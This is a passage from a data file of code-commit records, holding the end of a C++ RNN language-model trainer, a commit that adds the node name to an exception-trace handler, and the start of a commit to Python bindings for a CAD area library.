0;\n int dtoks = 0;\n if (params.dev_file == \"\") {\n cerr << \"You must specify a development set (--dev file.txt) with --train\" << endl;\n abort();\n } else {\n string devf = params.dev_file;\n cerr << \"Reading dev data from \" << devf << \" ...\\n\";\n ifstream in(devf);\n assert(in);\n while (getline(in, line)) {\n ++dlc;\n dev.push_back(read_sentence(line, d));\n dtoks += dev.back().size();\n if (dev.back().front() == kSOS || dev.back().back() == kEOS) {\n cerr << \"Dev sentence in \" << argv[2] << \":\" << tlc << \" started with <s> or ended with <\/s>\\n\";\n abort();\n }\n }\n cerr << dlc << \" lines, \" << dtoks << \" tokens\\n\";\n }\n ostringstream os;\n os << \"lm\"\n << '_' << DROPOUT\n << '_' << LAYERS\n << '_' << INPUT_DIM\n << '_' << HIDDEN_DIM\n << \"-pid\" << getpid() << \".params\";\n const string fname = os.str();\n cerr << \"Parameters will be written to: \" << fname << endl;\n double best = 9e+99;\n unsigned report_every_i = 100;\n unsigned dev_every_i_reports = 25;\n unsigned si = training.size();\n if (report_every_i > si) report_every_i = si;\n vector<unsigned> order(training.size());\n for (unsigned i = 0; i < order.size(); ++i) order[i] = i;\n bool first = true;\n int report = 0;\n double lines = 0;\n int completed_epoch = -1;\n while (!INTERRUPTED) {\n if (SAMPLE) lm.RandomSample();\n Timer iteration(\"completed in\");\n double loss = 0;\n unsigned chars = 0;\n for (unsigned i = 0; i < report_every_i; ++i) {\n if (si == training.size()) {\n si = 0;\n if (first) { first = false; } else { sgd->update_epoch(); }\n cerr << \"**SHUFFLE\\n\";\n completed_epoch++;\n if (eta_decay_onset_epoch && completed_epoch >= (int)eta_decay_onset_epoch)\n sgd->eta *= eta_decay_rate;\n shuffle(order.begin(), order.end(), *rndeng);\n }\n\n \/\/ build graph for this instance\n ComputationGraph cg;\n auto& sent = training[order[si]];\n chars += sent.size();\n ++si;\n Expression loss_expr = lm.BuildLMGraph(sent, cg, DROPOUT > 0.f);\n loss += as_scalar(cg.forward(loss_expr));\n cg.backward(loss_expr);\n sgd->update();\n ++lines;\n }\n report++;\n cerr << '#' << report << \" [epoch=\" << (lines \/ training.size()) << \" eta=\" << sgd->eta << \"] E = \" << (loss \/ chars) << \" ppl=\" << exp(loss \/ chars) << ' ';\n\n \/\/ show score on dev data?\n if (report % dev_every_i_reports == 0) {\n double dloss = 0;\n int dchars = 0;\n for (auto& sent : dev) {\n ComputationGraph cg;\n Expression loss_expr = lm.BuildLMGraph(sent, cg, false);\n dloss += as_scalar(cg.forward(loss_expr));\n dchars += sent.size();\n }\n if (dloss < best) {\n best = dloss;\n TextFileSaver saver(fname);\n saver.save(model);\n }\n cerr << \"\\n***DEV [epoch=\" << (lines \/ training.size()) << \"] E = \" << (dloss \/ dchars) << \" ppl=\" << exp(dloss \/ dchars) << ' ';\n }\n }\n } \/\/ train?\n if (params.test_file != \"\") {\n cerr << \"Evaluating test data...\\n\";\n double tloss = 0;\n int tchars = 0;\n for (auto& sent : test) {\n ComputationGraph cg;\n Expression loss_expr = lm.BuildLMGraph(sent, cg, false);\n tloss += as_scalar(cg.forward(loss_expr));\n tchars += sent.size();\n }\n cerr << \"TEST -LLH = \" << tloss << endl;\n cerr << \"TEST CROSS ENTOPY (NATS) = \" << (tloss \/ tchars) << endl;\n cerr << \"TEST PPL = \" << exp(tloss \/ tchars) << endl;\n }\n\n \/\/ N-best scoring\n if (params.nbest_file != \"\") {\n \/\/ cdec: index ||| hypothesis ||| feature=val ... ||| ...\n \/\/ Moses: index ||| hypothesis ||| feature= val(s) ... ||| ...\n const int HYP_FIELD = 1;\n const int FEAT_FIELD = 2;\n const string FEAT_NAME = \"RNNLM\";\n \/\/ Input\n string nbestf = params.nbest_file;\n cerr << \"Scoring N-best list \" << nbestf << \" ...\" << endl;\n shared_ptr<istream> in;\n if (nbestf == \"-\") {\n in.reset(&cin, [](...) {});\n } else {\n in.reset(new ifstream(nbestf));\n }\n \/\/ Match spacing of input file\n string sep = \"=\";\n bool sep_detected = false;\n \/\/ Input lines\n while (getline(*in, line)) {\n vector<string> fields;\n read_fields(line, fields);\n \/\/ Check sep if needed\n if (!sep_detected) {\n sep_detected = true;\n int i = fields[FEAT_FIELD].find(\"=\");\n if (fields[FEAT_FIELD].substr(i + 1, 1) == \" \") {\n sep = \"= \";\n }\n }\n \/\/ Score hypothesis\n ComputationGraph cg;\n Expression loss_expr = lm.BuildLMGraph(read_sentence(fields[HYP_FIELD], d), cg, false);\n double loss = as_scalar(cg.forward(loss_expr));\n \/\/ Add score\n ostringstream os;\n os << fields[FEAT_FIELD] << \" \" << FEAT_NAME << sep << loss;\n fields[FEAT_FIELD] = os.str();\n \/\/ Write augmented line\n for (unsigned f = 0; f < fields.size(); ++f) {\n if (f > 0)\n cout << \" ||| \";\n cout << fields[f];\n }\n cout << endl;\n }\n }\n\n delete sgd;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* exception_handler.cc\n Jeremy Barnes, 26 February 2008\n Copyright (c) 2009 Jeremy Barnes. All rights reserved.\n\n*\/\n\n#include <cxxabi.h>\n#include <cstring>\n#include <fstream>\n\n#include \"jml\/compiler\/compiler.h\"\n#include \"jml\/utils\/environment.h\"\n\n#include \"backtrace.h\"\n#include \"demangle.h\"\n#include \"exception.h\"\n#include \"exception_hook.h\"\n#include \"format.h\"\n#include \"threads.h\"\n\n\nusing namespace std;\n\n\nnamespace ML {\n\nEnv_Option<bool> TRACE_EXCEPTIONS(\"JML_TRACE_EXCEPTIONS\", true);\n\n__thread bool trace_exceptions = false;\n__thread bool trace_exceptions_initialized = false;\n\nvoid set_default_trace_exceptions(bool val)\n{\n TRACE_EXCEPTIONS.set(val);\n}\n\nbool get_default_trace_exceptions()\n{\n return TRACE_EXCEPTIONS;\n}\n\nvoid set_trace_exceptions(bool trace)\n{\n \/\/cerr << \"set_trace_exceptions to \" << trace << \" at \" << &trace_exceptions\n \/\/ << endl;\n trace_exceptions = trace;\n trace_exceptions_initialized = true;\n}\n\nbool get_trace_exceptions()\n{\n if (!trace_exceptions_initialized) {\n \/\/cerr << \"trace_exceptions initialized to = \"\n \/\/ << trace_exceptions << \" at \" << &trace_exceptions << endl;\n set_trace_exceptions(TRACE_EXCEPTIONS);\n trace_exceptions_initialized = true;\n }\n \n \/\/cerr << \"get_trace_exceptions returned \" << trace_exceptions\n \/\/ << \" at \" << &trace_exceptions << endl;\n\n return trace_exceptions;\n}\n\n\nstatic const std::exception *\nto_std_exception(void* object, const std::type_info * tinfo)\n{\n \/* Check if its a class. If not, we can't see if it's a std::exception.\n The abi::__class_type_info is the base class of all types of type\n info for types that are classes (of which std::exception is one).\n *\/\n const abi::__class_type_info * ctinfo\n = dynamic_cast<const abi::__class_type_info *>(tinfo);\n\n if (!ctinfo) return 0;\n\n \/* The thing thrown was an object. Now, check if it is derived from\n std::exception. *\/\n const std::type_info * etinfo = &typeid(std::exception);\n\n \/* See if the exception could catch this. This is the mechanism\n used internally by the compiler in catch {} blocks to see if\n the exception matches the catch type.\n\n In the case of success, the object will be adjusted to point to\n the start of the std::exception object.\n *\/\n void * obj_ptr = object;\n bool can_catch = etinfo->__do_catch(tinfo, &obj_ptr, 0);\n\n if (!can_catch) return 0;\n\n \/* obj_ptr points to a std::exception; extract it and get the\n exception message.\n *\/\n return (const std::exception *)obj_ptr;\n}\n\n\/** We install this handler for when an exception is thrown. *\/\n\nvoid default_exception_tracer(void * object, const std::type_info * tinfo)\n{\n \/\/cerr << \"trace_exception: trace_exceptions = \" << get_trace_exceptions()\n \/\/ << \" at \" << &trace_exceptions << endl;\n\n if (!get_trace_exceptions()) return;\n\n const std::exception * exc = to_std_exception(object, tinfo);\n\n \/\/ We don't want these exceptions to be printed out.\n if (dynamic_cast<const ML::SilentException *>(exc)) return;\n\n \/* avoid allocations when std::bad_alloc is thrown *\/\n bool noAlloc = dynamic_cast<const std::bad_alloc *>(exc);\n\n size_t bufferSize(1024*1024);\n char buffer[bufferSize];\n char datetime[128];\n size_t totalWritten(0), written, remaining(bufferSize);\n\n time_t now;\n time(&now);\n\n struct tm lt_tm;\n strftime(datetime, sizeof(datetime), \"%FT%H:%M:%SZ\",\n gmtime_r(&now, <_tm));\n\n const char * demangled;\n char * heapDemangled;\n if (noAlloc) {\n heapDemangled = nullptr;\n demangled = \"std::bad_alloc\";\n }\n else {\n heapDemangled = char_demangle(tinfo->name());\n demangled = heapDemangled;\n }\n auto pid = getpid();\n auto tid = gettid();\n\n written = ::snprintf(buffer, remaining,\n \"\\n\"\n \"--------------------------[Exception thrown]\"\n \"---------------------------\\n\"\n \"time: %s\\n\"\n \"type: %s\\n\"\n \"pid: %d; tid: %d\\n\",\n datetime, demangled, pid, tid);\n if (heapDemangled) {\n free(heapDemangled);\n }\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n remaining -= written;\n\n if (exc) {\n written = snprintf(buffer + totalWritten, remaining,\n \"what: %s\\n\", exc->what());\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n remaining -= written;\n }\n\n if (noAlloc) {\n goto end;\n }\n\n written = snprintf(buffer + totalWritten, remaining, \"stack:\\n\");\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n remaining -= written;\n\n written = backtrace(buffer + totalWritten, remaining, 3);\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n\n if (totalWritten < bufferSize - 1) {\n strcpy(buffer + totalWritten, \"\\n\");\n }\n\nend:\n cerr << buffer;\n\n char const * reports = getenv(\"ENABLE_EXCEPTION_REPORTS\");\n if (!noAlloc && reports) {\n std::string path = ML::format(\"%s\/exception-report-%s-%d-%d.log\",\n reports, datetime, pid, tid);\n\n std::ofstream file(path, std::ios_base::app);\n if(file) {\n file << getenv(\"_\") << endl;\n backtrace(file, 3);\n file.close();\n }\n }\n}\n\n} \/\/ namespace ML\n<commit_msg>PLAT-887: include node name in exception message<commit_after>\/* exception_handler.cc\n Jeremy Barnes, 26 February 2008\n Copyright (c) 2009 Jeremy Barnes. All rights reserved.\n\n*\/\n\n#include <sys\/utsname.h>\n#include <cxxabi.h>\n#include <cstring>\n#include <fstream>\n\n#include \"jml\/compiler\/compiler.h\"\n#include \"jml\/utils\/environment.h\"\n\n#include \"backtrace.h\"\n#include \"demangle.h\"\n#include \"exception.h\"\n#include \"exception_hook.h\"\n#include \"format.h\"\n#include \"threads.h\"\n\n\nusing namespace std;\n\n\nnamespace ML {\n\nEnv_Option<bool> TRACE_EXCEPTIONS(\"JML_TRACE_EXCEPTIONS\", true);\n\n__thread bool trace_exceptions = false;\n__thread bool trace_exceptions_initialized = false;\n\nvoid set_default_trace_exceptions(bool val)\n{\n TRACE_EXCEPTIONS.set(val);\n}\n\nbool get_default_trace_exceptions()\n{\n return TRACE_EXCEPTIONS;\n}\n\nvoid set_trace_exceptions(bool trace)\n{\n \/\/cerr << \"set_trace_exceptions to \" << trace << \" at \" << &trace_exceptions\n \/\/ << endl;\n trace_exceptions = trace;\n trace_exceptions_initialized = true;\n}\n\nbool get_trace_exceptions()\n{\n if (!trace_exceptions_initialized) {\n \/\/cerr << \"trace_exceptions initialized to = \"\n \/\/ << trace_exceptions << \" at \" << &trace_exceptions << endl;\n set_trace_exceptions(TRACE_EXCEPTIONS);\n trace_exceptions_initialized = true;\n }\n \n \/\/cerr << \"get_trace_exceptions returned \" << trace_exceptions\n \/\/ << \" at \" << &trace_exceptions << endl;\n\n return trace_exceptions;\n}\n\n\nstatic const std::exception *\nto_std_exception(void* object, const std::type_info * tinfo)\n{\n \/* Check if its a class. If not, we can't see if it's a std::exception.\n The abi::__class_type_info is the base class of all types of type\n info for types that are classes (of which std::exception is one).\n *\/\n const abi::__class_type_info * ctinfo\n = dynamic_cast<const abi::__class_type_info *>(tinfo);\n\n if (!ctinfo) return 0;\n\n \/* The thing thrown was an object. Now, check if it is derived from\n std::exception. *\/\n const std::type_info * etinfo = &typeid(std::exception);\n\n \/* See if the exception could catch this. This is the mechanism\n used internally by the compiler in catch {} blocks to see if\n the exception matches the catch type.\n\n In the case of success, the object will be adjusted to point to\n the start of the std::exception object.\n *\/\n void * obj_ptr = object;\n bool can_catch = etinfo->__do_catch(tinfo, &obj_ptr, 0);\n\n if (!can_catch) return 0;\n\n \/* obj_ptr points to a std::exception; extract it and get the\n exception message.\n *\/\n return (const std::exception *)obj_ptr;\n}\n\n\/** We install this handler for when an exception is thrown. *\/\n\nvoid default_exception_tracer(void * object, const std::type_info * tinfo)\n{\n \/\/cerr << \"trace_exception: trace_exceptions = \" << get_trace_exceptions()\n \/\/ << \" at \" << &trace_exceptions << endl;\n\n if (!get_trace_exceptions()) return;\n\n const std::exception * exc = to_std_exception(object, tinfo);\n\n \/\/ We don't want these exceptions to be printed out.\n if (dynamic_cast<const ML::SilentException *>(exc)) return;\n\n \/* avoid allocations when std::bad_alloc is thrown *\/\n bool noAlloc = dynamic_cast<const std::bad_alloc *>(exc);\n\n size_t bufferSize(1024*1024);\n char buffer[bufferSize];\n char datetime[128];\n size_t totalWritten(0), written, remaining(bufferSize);\n\n time_t now;\n time(&now);\n\n struct tm lt_tm;\n strftime(datetime, sizeof(datetime), \"%FT%H:%M:%SZ\",\n gmtime_r(&now, <_tm));\n\n const char * demangled;\n char * heapDemangled;\n if (noAlloc) {\n heapDemangled = nullptr;\n demangled = \"std::bad_alloc\";\n }\n else {\n heapDemangled = char_demangle(tinfo->name());\n demangled = heapDemangled;\n }\n const char *nodeName = \"<unknown>\";\n struct utsname utsName;\n if (::uname(&utsName) == 0) {\n nodeName = utsName.nodename;\n }\n else {\n cerr << \"error calling uname\\n\";\n }\n auto pid = getpid();\n auto tid = gettid();\n\n written = ::snprintf(buffer, remaining,\n \"\\n\"\n \"--------------------------[Exception thrown]\"\n \"---------------------------\\n\"\n \"time: %s\\n\"\n \"type: %s\\n\"\n \"node: %s\\n\"\n \"pid: %d; tid: %d\\n\",\n datetime, demangled, nodeName, pid, tid);\n if (heapDemangled) {\n free(heapDemangled);\n }\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n remaining -= written;\n\n if (exc) {\n written = snprintf(buffer + totalWritten, remaining,\n \"what: %s\\n\", exc->what());\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n remaining -= written;\n }\n\n if (noAlloc) {\n goto end;\n }\n\n written = snprintf(buffer + totalWritten, remaining, \"stack:\\n\");\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n remaining -= written;\n\n written = backtrace(buffer + totalWritten, remaining, 3);\n if (written >= remaining) {\n goto end;\n }\n totalWritten += written;\n\n if (totalWritten < bufferSize - 1) {\n strcpy(buffer + totalWritten, \"\\n\");\n }\n\nend:\n cerr << buffer;\n\n char const * reports = getenv(\"ENABLE_EXCEPTION_REPORTS\");\n if (!noAlloc && reports) {\n std::string path = ML::format(\"%s\/exception-report-%s-%d-%d.log\",\n reports, datetime, pid, tid);\n\n std::ofstream file(path, std::ios_base::app);\n if(file) {\n file << getenv(\"_\") << endl;\n backtrace(file, 3);\n file.close();\n }\n }\n}\n\n} \/\/ namespace ML\n<|endoftext|>"} {"text":"<commit_before>\/\/ PythonStuff.cpp\r\n\n\/\/ written by Dan Heeks, February 6th 2009, license: GPL version 3 http:\/\/www.gnu.org\/licenses\/gpl-3.0.txt\n\r\n#include \"PythonStuff.h\"\r\n\r\n#include <set>\r\n\r\n#include \"Area.h\"\r\n\r\n#if _DEBUG\r\n#undef _DEBUG\r\n#include <Python.h>\r\n#define _DEBUG\r\n#else\r\n#include <Python.h>\r\n#endif\r\n\r\n\r\n#ifdef __GNUG__\r\n#pragma implementation\r\n#endif\r\n\r\n#include \"kbool\/include\/_lnk_itr.h\"\r\n\r\n#include \"kbool\/include\/booleng.h\"\r\n\r\nstd::set<CArea*> valid_areas;\r\n\r\nstatic PyObject* area_new(PyObject* self, PyObject* args)\r\n{\r\n\tCArea* new_object = new CArea();\r\n\tvalid_areas.insert(new_object);\r\n\r\n\t\/\/ return new object cast to an int\r\n\tPyObject *pValue = PyInt_FromLong((long)new_object);\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_exists(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tbool exists = (valid_areas.find(k) != valid_areas.end());\r\n\r\n\t\/\/ return exists\r\n\tPyObject *pValue = exists ? Py_True : Py_False;\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_delete(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tdelete k;\r\n\t\tvalid_areas.erase(k);\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic int span_number = 1;\r\n\r\nstatic PyObject* area_add_point(PyObject* self, PyObject* args)\r\n{\r\n\tdouble x, y, i, j;\r\n\tint sp, ik;\r\n\tif (!PyArg_ParseTuple(args, \"iidddd\", &ik, &sp, &x, &y, &i, &j)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\t\/\/ add a curve if there isn't one\r\n\t\tif(k->m_curves.size() == 0)k->m_curves.push_back(CCurve());\n\t\tint curve_index = k->m_curves.size() - 1;\r\n\r\n\t\t\/\/ can't add arc as first span\r\n\t\tif(sp && k->m_curves[curve_index].m_vertices.size() == 0){ const char* str = \"can't add arc to area as first point\"; printf(str); throw(str);}\r\n\r\n\t\t\/\/ add the vertex\r\n\t\tk->m_curves[curve_index].m_vertices.push_back(CVertex(sp, x, y, i, j, span_number));\r\n\t\tspan_number++;\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\n\nstatic PyObject* area_start_new_curve(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\t\/\/ add a new curve\r\n\t\tk->m_curves.push_back(CCurve());\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\n\r\nstatic PyObject* area_offset(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tdouble inwards;\r\n\tif (!PyArg_ParseTuple(args, \"id\", &ik, &inwards)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\t\/\/int ret = 0;\r\n\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tk->Offset(inwards);\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_subtract(PyObject* self, PyObject* args)\r\n{\r\n\tint a1, a2;\r\n\tif (!PyArg_ParseTuple(args, \"ii\", &a1, &a2)) return NULL;\r\n\r\n\tCArea* area1 = (CArea*)a1;\r\n\tCArea* area2 = (CArea*)a2;\r\n\r\n\tif(valid_areas.find(area1) != valid_areas.end() && valid_areas.find(area2) != valid_areas.end())\r\n\t{\n\t\tarea1->Subtract(*area2);\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_set_round_corner_factor(PyObject* self, PyObject* args)\r\n{\r\n\tif (!PyArg_ParseTuple(args, \"d\", &CArea::m_round_corners_factor)) return NULL;\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_copy(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tint ik2;\r\n\tif (!PyArg_ParseTuple(args, \"ii\", &ik, &ik2)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\tCArea* k2 = (CArea*)ik2;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tif(valid_areas.find(k2) != valid_areas.end())\r\n\t\t{\r\n\t\t\t*k2 = *k;\r\n\t\t}\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_num_curves(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tint n = 0;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tn = k->m_curves.size();\r\n\t}\r\n\r\n\tPyObject *pValue = PyInt_FromLong(n);\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_num_vertices(PyObject* self, PyObject* args)\r\n{\r\n\tint ik, ic;\r\n\tif (!PyArg_ParseTuple(args, \"ii\", &ik, &ic)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tint n = 0;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tif(ic >= 0 && ic < (int)(k->m_curves.size()))n = k->m_curves[ic].m_vertices.size();\r\n\t}\r\n\r\n\tPyObject *pValue = PyInt_FromLong(n);\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_get_vertex(PyObject* self, PyObject* args)\r\n{\r\n\tint ik, ic;\r\n\tint index; \/\/ 0 is first\r\n\tif (!PyArg_ParseTuple(args, \"iii\", &ik, &ic, &index)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tint sp = 0;\r\n\tdouble x = 0.0, y = 0.0;\r\n\tdouble cx = 0.0, cy = 0.0;\r\n\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tif(ic >= 0 && ic < (int)(k->m_curves.size()))\r\n\t\t{\r\n\t\t\tCCurve& curve = k->m_curves[ic];\r\n\t\t\tif(index >= 0 && index < (int)(curve.m_vertices.size()))\r\n\t\t\t{\r\n\t\t\t\tCVertex& vertex = curve.m_vertices[index];\r\n\t\t\t\tsp = vertex.m_type;\r\n\t\t\t\tx = vertex.m_p[0];\r\n\t\t\t\ty = vertex.m_p[1];\r\n\t\t\t\tcx = vertex.m_c[0];\r\n\t\t\t\tcy = vertex.m_c[1];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t\/\/ return span data as a tuple\r\n\tPyObject *pTuple = PyTuple_New(5);\r\n\t{\r\n\t\tPyObject *pValue = PyInt_FromLong(sp);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 0, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(x);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 1, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(y);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 2, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(cx);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 3, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(cy);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 4, pValue);\r\n\t}\r\n\r\n\tPy_INCREF(pTuple);\r\n\treturn pTuple;\r\n}\r\n\r\nstatic PyObject* area_add_curve(PyObject* self, PyObject* args)\r\n{\r\n\tint ik, ij, ii;\r\n\tif (!PyArg_ParseTuple(args, \"iii\", &ik, &ij, &ii)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tCArea* j = (CArea*)ij;\r\n\tif(valid_areas.find(k) != valid_areas.end() && valid_areas.find(j) != valid_areas.end())\r\n\t{\r\n if(ii >= 0 && ii < (int)j->m_curves.size()){\n \/\/ add curve\n k->m_curves.push_back(j->m_curves[ii]);\r\n }\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\n\r\nstatic PyMethodDef AreaMethods[] = {\r\n\t{\"new\", area_new, METH_VARARGS , \"\"},\r\n\t{\"exists\", area_exists, METH_VARARGS , \"\"},\r\n\t{\"delete\", area_delete, METH_VARARGS , \"\"},\r\n\t{\"add_point\", area_add_point, METH_VARARGS , \"\"},\r\n\t{\"start_new_curve\", area_start_new_curve, METH_VARARGS , \"\"},\r\n\t{\"subtract\", area_subtract, METH_VARARGS , \"\"},\r\n\t{\"offset\", area_offset, METH_VARARGS , \"\"},\r\n\t{\"set_round_corner_factor\", area_set_round_corner_factor, METH_VARARGS , \"\"},\r\n\t{\"copy\", area_copy, METH_VARARGS , \"\"},\r\n\t{\"num_curves\", area_num_curves, METH_VARARGS , \"\"},\r\n\t{\"num_vertices\", area_num_vertices, METH_VARARGS , \"\"},\r\n\t{\"get_vertex\", area_get_vertex, METH_VARARGS , \"\"},\r\n\t{\"add_curve\", area_add_curve, METH_VARARGS , \"\"},\r\n\t{NULL, NULL, 0, NULL}\r\n};\r\n\r\nPyMODINIT_FUNC\r\ninitarea(void)\r\n{\r\n\tPy_InitModule(\"area\", AreaMethods);\r\n}\r\n<commit_msg>added area.print_area(a)<commit_after>\/\/ PythonStuff.cpp\r\n\n\/\/ written by Dan Heeks, February 6th 2009, license: GPL version 3 http:\/\/www.gnu.org\/licenses\/gpl-3.0.txt\n\r\n#include \"PythonStuff.h\"\r\n\r\n#include <set>\r\n\r\n#include \"Area.h\"\r\n\r\n#if _DEBUG\r\n#undef _DEBUG\r\n#include <Python.h>\r\n#define _DEBUG\r\n#else\r\n#include <Python.h>\r\n#endif\r\n\r\n\r\n#ifdef __GNUG__\r\n#pragma implementation\r\n#endif\r\n\r\n#include \"kbool\/include\/_lnk_itr.h\"\r\n\r\n#include \"kbool\/include\/booleng.h\"\r\n\r\nstd::set<CArea*> valid_areas;\r\n\r\nstatic PyObject* area_new(PyObject* self, PyObject* args)\r\n{\r\n\tCArea* new_object = new CArea();\r\n\tvalid_areas.insert(new_object);\r\n\r\n\t\/\/ return new object cast to an int\r\n\tPyObject *pValue = PyInt_FromLong((long)new_object);\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_exists(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tbool exists = (valid_areas.find(k) != valid_areas.end());\r\n\r\n\t\/\/ return exists\r\n\tPyObject *pValue = exists ? Py_True : Py_False;\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_delete(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tdelete k;\r\n\t\tvalid_areas.erase(k);\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic int span_number = 1;\r\n\r\nstatic PyObject* area_add_point(PyObject* self, PyObject* args)\r\n{\r\n\tdouble x, y, i, j;\r\n\tint sp, ik;\r\n\tif (!PyArg_ParseTuple(args, \"iidddd\", &ik, &sp, &x, &y, &i, &j)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\t\/\/ add a curve if there isn't one\r\n\t\tif(k->m_curves.size() == 0)k->m_curves.push_back(CCurve());\n\t\tint curve_index = k->m_curves.size() - 1;\r\n\r\n\t\t\/\/ can't add arc as first span\r\n\t\tif(sp && k->m_curves[curve_index].m_vertices.size() == 0){ const char* str = \"can't add arc to area as first point\"; printf(str); throw(str);}\r\n\r\n\t\t\/\/ add the vertex\r\n\t\tk->m_curves[curve_index].m_vertices.push_back(CVertex(sp, x, y, i, j, span_number));\r\n\t\tspan_number++;\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\n\nstatic PyObject* area_start_new_curve(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\t\/\/ add a new curve\r\n\t\tk->m_curves.push_back(CCurve());\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\n\r\nstatic PyObject* area_offset(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tdouble inwards;\r\n\tif (!PyArg_ParseTuple(args, \"id\", &ik, &inwards)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\t\/\/int ret = 0;\r\n\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tk->Offset(inwards);\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_subtract(PyObject* self, PyObject* args)\r\n{\r\n\tint a1, a2;\r\n\tif (!PyArg_ParseTuple(args, \"ii\", &a1, &a2)) return NULL;\r\n\r\n\tCArea* area1 = (CArea*)a1;\r\n\tCArea* area2 = 